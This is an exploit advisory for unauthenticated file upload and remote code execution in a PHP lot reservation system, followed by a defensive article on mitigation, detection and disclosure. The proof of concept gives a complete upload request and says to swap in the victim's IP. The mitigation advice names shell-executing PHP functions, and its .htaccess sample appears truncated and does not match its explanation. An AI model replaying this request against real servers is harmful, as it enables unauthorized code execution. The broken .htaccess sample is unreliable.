Lot Reservation Management System - Unauthenticated File Upload and Remote Code Execution

Exploit Author: Elijah Mandila Syoyi Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-06
# Exploit Title: Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution
# Google Dork: N/A
# Date: 10th December 2023
# Exploit Author: Elijah Mandila Syoyi
# Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
# Version: 1.0
# Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0
# CVE : N/A

Developer description about application purpose:-

------------------------------------------------------------------------------------------------------------------------------------------------------------------
About

The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots.

------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vulnerability:-

The application does not properly verify authentication information and file types before files upload. This can allow an attacker to bypass authentication and file checking and upload malicious file to the server. There is an open directory listing where uploaded files are stored, allowing an attacker to open the malicious file in PHP, and will be executed by the server.



Proof of Concept:-

(HTTP POST Request)

POST /lot/admin/ajax.php?action=save_division HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------217984066236596965684247013027
Content-Length: 606
Origin: http://192.168.150.228
Connection: close
Referer: http://192.168.150.228/lot/admin/index.php?page=divisions


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="id"


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="name"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="description"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/x-php

<?php phpinfo() ?>

-----------------------------217984066236596965684247013027--



Check your uploaded file/shell in "http://192.168.150.228/lot/admin/assets/uploads/maps/". Replace the IP Addresses with the victim IP address.


Lot Reservation Management System — Unauthenticated File Upload and Remote Code Execution: Analysis, Risks, and Mitigation

This article examines a class of vulnerability discovered in a sample Lot Reservation Management System: unauthenticated file upload that can lead to remote code execution (RCE). The goal is to explain the root causes, risks, safe testing approaches, and practical mitigations for developers and defenders. The content is defensive and focused on secure coding, configuration hardening, and incident response.

Summary of the issue (high-level)

An unauthenticated file upload vulnerability occurs when an application accepts files from unauthenticated or insufficiently authenticated users and fails to validate file type, content, and storage location. If the uploaded files are stored in a web-accessible directory and the web server is allowed to execute them (for example, PHP files), an attacker can upload a web shell or malicious script and trigger remote code execution.

Why this is dangerous

  • Remote code execution allows full control over the web server process and potentially the host, enabling data theft, pivoting, or persistent backdoors.
  • Unauthenticated flows mean attackers do not need valid credentials — the barrier to exploit is low.
  • Publicly accessible upload directories with directory listing increase reconnaissance ease for attackers.

Typical root causes

  • Lack of authentication/authorization checks on endpoints that accept file uploads.
  • Insufficient validation of file content — relying solely on client-provided MIME type or file extension.
  • Saving uploaded files into a document root (web-accessible) without preventing script execution.
  • Directory listing enabled on upload folders, revealing uploaded filenames and enabling direct access.
  • Missing server-side security controls (Content Security Policy, web application firewall, file execution prevention).

Safe detection and testing (for defenders)

Testing should be performed only on systems you own or have explicit authorization to test. Focus on non-destructive checks:

  • Identify endpoints that accept file uploads via code review or authenticated application flows.
  • Verify whether endpoints enforce authentication/authorization and session controls.
  • Inspect server response headers and test whether uploaded files are served directly from the upload directory.
  • Look for directory listing and try to access known benign files after upload (for example, text files with unique tags) to confirm accessibility — avoid uploading any executable content.

Mitigation and secure coding practices

Effective mitigation includes a combination of secure code, server configuration, and operational controls. Below are prioritized defensive measures.

1. Require authentication and authorization

Only authenticated and properly authorized users should be allowed to upload files. Validate server-side session state and user roles on all upload endpoints.

<?php
// Example server-side check (pseudo-code)
session_start();
if (empty($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
    http_response_code(403);
    echo 'Forbidden';
    exit;
}
?>

Explanation: This snippet demonstrates a simple server-side gate that denies access if the user is not logged in or lacks the required role. Always implement robust session management and role checks before processing uploads.

2. Enforce strict allowlists and content inspection

Validate files by both extension and content using server-side checks. For images, use image-processing libraries to verify the file is a valid image. For other file types, use fileinfo/finfo to examine MIME type, and consider further parsing or scanning with antivirus engines.

<?php
// Secure upload handling (example for images — defensive)
$allowed_ext = ['jpg','jpeg','png','gif'];
$uploadDir = '/var/www/uploads/'; // Prefer outside webroot
if (!isset($_FILES['file'])) {
    http_response_code(400);
    exit('No file uploaded');
}
$file = $_FILES['file'];

if ($file['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('Upload error');
}

// Validate size limit (e.g., 5MB)
$maxSize = 5 * 1024 * 1024;
if ($file['size'] > $maxSize) {
    http_response_code(413);
    exit('File too large');
}

// Use Fileinfo to validate MIME
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);

$mime_map = [
    'image/jpeg' => 'jpg',
    'image/png'  => 'png',
    'image/gif'  => 'gif',
];

if (!isset($mime_map[$mime])) {
    http_response_code(415);
    exit('Invalid file type');
}

// Use getimagesize as an additional check for images
if (getimagesize($file['tmp_name']) === false) {
    http_response_code(415);
    exit('Not a valid image');
}

// Generate a safe filename and move outside webroot
$ext = $mime_map[$mime];
$basename = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = $uploadDir . $basename;

if (!move_uploaded_file($file['tmp_name'], $destination)) {
    http_response_code(500);
    exit('Failed to save file');
}

// Set restrictive file permissions
chmod($destination, 0640);

echo json_encode(['file' => $basename]);
?>

Explanation: This example shows a defensive upload handler for images. Key points:

  • Use server-side session checks before accepting the file.
  • Enforce a size limit to mitigate resource exhaustion.
  • Validate the file MIME type with finfo and confirm image validity with getimagesize.
  • Map MIME types to allowed extensions rather than trusting client-provided filenames.
  • Store files outside the webroot and use randomized filenames to avoid predictability.
  • Apply restrictive filesystem permissions (e.g., 0640) so files are not world-executable.

3. Prevent script execution in upload directories

Even with file validation, it is critical to ensure uploaded content cannot be executed as code. Place upload directories outside the document root, or configure the web server to never execute scripts from the upload location.

Apache (.htaccess example to disable PHP execution):

# .htaccess placed inside the upload directory
RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3

  Deny from all

Options -ExecCGI

Explanation: This .htaccess snippet tells Apache not to process common script extensions in the uploads folder, denies access to script-like files, and disables CGI execution. For Nginx, configure the location block to serve uploads as static files and do not pass requests from that directory to PHP-FPM.

4. Store uploads outside webroot and serve safely

Prefer storing uploads in a directory not directly served by the web server. When users need to access the files, the application should stream them with appropriate Content-Type and Content-Disposition headers after performing authorization checks.

<?php
// Example: streaming a file from outside webroot after auth check
$filepath = '/var/www/uploads/' . $basename; // outside webroot
if (!file_exists($filepath)) {
    http_response_code(404);
    exit;
}
// Authorization check here...
$mime = mime_content_type($filepath);
header('Content-Type: ' . $mime);
header('Content-Disposition: inline; filename="' . basename($filepath) . '"');
readfile($filepath);
exit;
?>

Explanation: The application mediates access to stored files, which enables logging, authorization, and the removal of direct attack surface. Do not expose direct links to files on the filesystem if you cannot guarantee their safety.

5. Scan uploads with security tools

Integrate malware scanning (e.g., ClamAV or commercial scanners) into the upload pipeline to block known malicious payloads. Use static analyzers or heuristics for further inspection.

Server and deployment hardening

  • Disable directory listing on web servers (Options -Indexes for Apache).
  • Harden PHP configuration: disable dangerous functions (exec, shell_exec, system, passthru) where possible, and set open_basedir.
  • Run web applications with least privilege; isolate processes and use containerization or chroot where practical.
  • Use a Web Application Firewall (WAF) to block suspicious requests and provide an additional filtering layer.
  • Keep third-party components and frameworks up to date and verify integrity of downloaded code.

Detection, monitoring, and incident response

Assume that any uploaded file could be malicious until proven otherwise.

  • Monitor upload directories for unexpected file types and new files. Alert on changes and unusual filenames.
  • Log all file upload activity with user identifiers, IP addresses, and user agent strings.
  • Scan servers periodically for web shells and suspicious PHP files using signatures or YARA rules.
  • If a compromise is detected, isolate the host, preserve logs and forensic data, and follow an incident response plan: identify scope, remove backdoors, patch vulnerabilities, and rotate credentials.

Responsible disclosure and patching

If you discover a vulnerability in a third-party project, follow coordinated disclosure practices: contact the vendor or project maintainers privately, provide sufficient detail to reproduce the issue for remediation (without publishing exploit steps publicly), and allow time for a fix before public disclosure. After the vendor issues a patch, apply updates promptly and validate the fix.

Checklist for developers and administrators

Area Action
Authentication Ensure upload endpoints require authenticated and authorized sessions
Validation Whitelist extensions and validate content using Fileinfo and application-specific checks
Storage Store outside webroot or disallow script execution in upload folders
Permissions Use least-privilege filesystem permissions; avoid world-writable/executable files
Monitoring Log uploads, scan for malware, and alert on anomalous files

Conclusion

Unauthenticated file upload leading to remote code execution is a high-severity risk because it can completely undermine the integrity and confidentiality of a web application. The combination of strict authentication, robust server-side validation, safe storage practices, server hardening, and continuous monitoring provides a layered defense that substantially reduces the risk of exploitation. Adopt defensive patterns early in application design and treat any upload feature as a high-risk operation that requires careful controls.